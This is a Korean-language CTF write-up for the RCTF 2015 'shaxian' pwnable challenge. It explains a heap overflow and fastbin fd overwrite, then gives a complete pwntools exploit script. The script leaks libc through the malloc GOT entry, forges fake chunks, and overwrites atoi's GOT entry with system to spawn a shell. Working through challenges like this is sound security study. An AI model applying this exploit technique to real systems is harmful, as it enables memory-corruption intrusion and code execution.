Pwnable/CTF
RCTF 2015 SHAXPIAN
HSr00t
2017. 11. 4. 21:20
첫 번째 메뉴 함수 사진이다.
여기서 보면 마지막 heap이 저장되어있는 포인터를 가지고와서 새롭게 할당되는 heap + 36에 이전 청크의 힙을 넣고 0x0804b1c0 포인터에 자기자신을 넣는다.(최신 청크니깐) 그 중간에 입력받는데 40만큼 할당하고 60만큼 입력받으면서 오버플로우가 일어난다.
처음 들어올때 입력받는 부분인데 0x0804b0c0(phone number) 0x0804b1c0(heap pointer) 0x0804b1e0(address) 순으로 전역변수가 선언되어있는데 우리는 이전 청크 pointer를 덮을 수 있고 heap pointer 가까이에 접근이 가능하다 그 뜻은 pointer 부분 이전에 phone_number 부분에 페이크 청크를 만들고 다음 청크 fd부분을 조작하고(fastbin fd overwrite) heap pointer를 조작하면 쉘을 딸수있다.
1번 메뉴 사진에서 할당을하고 +36에 주소값을 넣고 heap pointer에 데이터를 입력받고 int형으로 입력을 받는다.
그 중간에 포인터를 조작하면 그 조작된 부분에 int형으로 입력할수있다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 | from pwn import * p=process("./shaxian") elf=ELF("./shaxian") def add_number(address,number): p.recvuntil(':') p.sendline(address) p.recvuntil(':') p.sendline(number) def DIAN_CAI(shen,many): p.recvuntil(':') p.sendline("1") p.recvuntil('iao') p.sendline(shen) p.recvuntil('?') p.sendline(str(many)) def submit(): p.recvuntil(':') p.sendline("2") def receipt(RECEIPT): p.recvuntil(':') p.sendline("3") p.recvuntil(':') p.sendline(RECEIPT) def review(): p.recvuntil(':') p.sendline("4") prev = 0x0804b1b0 add_number("/bin/sh\00","D"*240+p32(0)+p32(0x31)) DIAN_CAI("A"*24,24) DIAN_CAI("B"*24,24) submit() review() print p.recvuntil("A"*24+" * ") heap = p.recv(9) heap = int(heap) heap = hex(heap) heap = int(heap,16) heap_1 = heap - 0x30 print hex(heap) print hex(heap_1) DIAN_CAI("A"*32+p32(elf.got['malloc']),40) review() p.recvuntil('40\n') puts = u32(p.recv(4)) libc_base = puts - 0x5fca0 system = libc_base + 0x3ada0 print hex(puts) print hex(libc_base) print hex(system) DIAN_CAI("B"*32+p32(0),38) DIAN_CAI("C"*32+p32(heap+0x8),38) DIAN_CAI("D"*31,40) submit() DIAN_CAI("B"*32+p32(0)+p32(0)+p32(0x31)+p32(prev),50) DIAN_CAI("C"*32+p32(prev+0x8),36) print hex(prev) payload = "Z"*4 payload += p32(elf.got['atoi']) max_hex = 0xffffffff payload2 = max_hex - system payload2 = (0 - payload2) - 1 print hex(elf.got['atoi']) print puts print int(payload2) DIAN_CAI(payload,str(payload2)) p.recv(1024) p.sendline("1") p.recv(1024) p.sendline("2") p.interactive() | cs |